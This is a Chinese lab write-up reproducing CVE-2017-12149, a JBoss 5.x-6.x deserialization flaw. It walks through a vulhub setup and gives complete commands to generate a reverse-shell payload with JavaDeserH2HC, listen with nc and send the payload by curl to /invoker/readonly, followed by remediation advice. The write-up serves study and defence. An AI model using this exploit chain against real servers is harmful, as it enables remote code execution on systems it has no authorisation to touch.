CVE-2017-12149-JBoss-5-6-Deserialization
forg12

描述

​ 该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。

影响版本

Jboss 5.x-6.x

环境搭建

使用vulhub搭建漏洞环境

1
2
3
4
#进入漏洞目录
cd vulhub/jboss/CVE-2017-12149
#开启环境
docker-compose up -d

image-20221020095608711

查看环境

1
http://192.168.3.50:8080/

image-20221020095628365

复现过程

利用工具下载地址:

1
https://github.com/joaomatosf/JavaDeserH2HC

通过一下命令可生成一个ser后缀的文件。

1
2
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.3.61:2233

image-20221020095755891

kali监听2233端口

1
nc -lvvp 2233

image-20221020095830691

执行exp

1
curl http://192.168.3.50:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20221020095904943

image-20221020095843024

修复建议

1、升级版本

2、不需要的http-invoker.sar组件,删除此组件